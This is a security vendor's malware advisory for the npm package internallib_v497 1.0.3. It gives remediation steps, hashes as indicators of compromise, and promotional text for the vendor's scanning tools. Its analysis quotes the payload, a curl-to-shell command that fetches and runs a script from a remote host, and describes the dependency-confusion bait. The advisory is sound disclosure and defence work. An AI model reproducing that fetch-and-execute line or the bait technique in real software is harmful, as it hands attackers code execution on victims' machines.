Which versions of internallib_v497 are malicious?

The following npm versions of internallib_v497 are flagged malicious: 1.0.3. Treat any of these as compromised.

How do I remediate internallib_v497 if I installed it?

Remove internallib_v497 from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed internallib_v497 — how do I know if it already compromised me?

If internallib_v497 was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is internallib_v497 part of a known attack campaign?

Yes — internallib_v497 is associated with the IN-MAL-2026-020328, GHSA-94q5-67r5-mwjx campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find internallib_v497 across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for internallib_v497 (version 1.0.3). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging internallib_v497 across your stack and pipelines.

Malicious package

internallib_v497npm

internallib_v497 is a confirmed malicious npm package (MAL-2026-16438) that executes malicious code on install (malicious version 1.0.3). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in internallib_v497 (npm)

MAL-2026-16438

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall internallib_v497

What this malware does

npm package [email protected] ships an index.js that exports a function which shell-executes curl http://10.0.5.109/shell.sh | sh via child_process.exec('/bin/bash -c...'), fetching an unauthenticated script over plain HTTP from a private RFC1918 address and piping it to a shell. Any consumer that requires the module and invokes the exported command() runs whatever code is served at 10.0.5.109 on the installer host. The package.json additionally declares its own name internallib_v497 as a dependency (^1.0.0), matching the classic dependency-confusion bait shape: an organization that maintains a private package by this name and resolves it from the public npm registry will pull this artifact and execute its payload.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged

1.0.3

Indicators of compromise (SHA-256)

37d367008a98c6bac6f9018de18ff5a75917cad3031c6bca1e7d4e5e257d3505

c249c697a7f4493519fe0bcc28ae8850e97fb0b70c3742ab2f880f89919852b3

Detection & response playbook

Malicious package

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for internallib_v497 (version 1.0.3). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging internallib_v497 across your stack and pipelines.
If you installed it — respond
Remove internallib_v497 from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If internallib_v497 was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks internallib_v497 before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. internallib_v497 on npm has been identified as a malicious package (version 1.0.3 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020328GHSA-94q5-67r5-mwjx

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks internallib_v497-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database